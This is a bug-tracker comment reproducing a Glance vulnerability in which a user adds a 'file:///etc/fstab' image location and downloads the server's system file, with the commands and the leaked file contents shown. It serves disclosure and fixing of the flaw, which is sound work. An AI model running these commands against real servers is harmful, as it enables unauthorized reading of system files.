Comment 3 for bug 1400966

Revision history for this message
Stuart McLaren (stuart-mclaren) wrote : Re: Glance allows users to download and delete any file in glance-api server

Reproduced:

$ glance --os-image-api-version 2 location-add --url file:///etc/fstab 7450abb5-fb9b-452a-abcf-416b571b57d6
+------------------+----------------------------------------------------------------------------------+
| Property | Value |
+------------------+----------------------------------------------------------------------------------+
| checksum | 398759a311bf25c6f1d67e753bb24dae |
| container_format | bare |
| created_at | 2014-12-10T16:35:47Z |
| disk_format | raw |
| file | /v2/images/7450abb5-fb9b-452a-abcf-416b571b57d6/file |
| id | 7450abb5-fb9b-452a-abcf-416b571b57d6 |
| locations | [{"url": "file:///mnt/ubuntu/images/7450abb5-fb9b-452a-abcf-416b571b57d6", |
| | "metadata": {}}, {"url": "file:///etc/fstab", "metadata": {}}] |
| min_disk | 0 |
| min_ram | 0 |
| name | img1 |
| owner | f68be3a5c2b14721a9e0ed2fcb750481 |
| protected | False |
| schema | /v2/schemas/image |
| size | 106 |
| status | active |
| tags | [] |
| updated_at | 2014-12-10T16:53:20Z |
| visibility | private |
+------------------+----------------------------------------------------------------------------------+

$ glance image-download 7450abb5-fb9b-452a-abcf-416b571b57d6
LABEL=cloudimg-rootfs / ext4 defaults 0 0
/dev/vdb /mnt auto defaults,nobootwait,comment=cloudconfig 0 2
(py27)ubuntu in ~/git/python-glanceclient on master*